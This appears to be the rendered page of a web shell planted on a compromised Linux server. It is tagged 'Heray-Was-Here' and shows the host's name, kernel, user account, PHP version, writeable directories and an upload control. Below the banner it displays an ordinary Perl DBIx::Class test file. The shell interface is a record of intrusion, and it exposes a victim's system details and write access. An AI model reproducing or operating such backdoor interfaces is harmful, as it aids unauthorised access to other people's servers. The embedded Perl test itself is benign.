Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-DBIx-Class/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-DBIx-Class/t/63register_class.t
use strict;
use warnings;

use Test::More tests => 2;
use lib qw(t/lib);
use DBICTest;
use DBICTest::Schema;
use DBICTest::Schema::Artist;

DBICTest::Schema::Artist->source_name('MyArtist');
DBICTest::Schema->register_class('FooA', 'DBICTest::Schema::Artist');

my $schema = DBICTest->init_schema();

my $a = $schema->resultset('FooA')->search;
is($a->count, 3, 'have 3 artists');
is($schema->class('FooA'), 'DBICTest::FooA', 'Correct artist class');

# clean up
DBICTest::Schema->_unregister_source('FooA');

Hry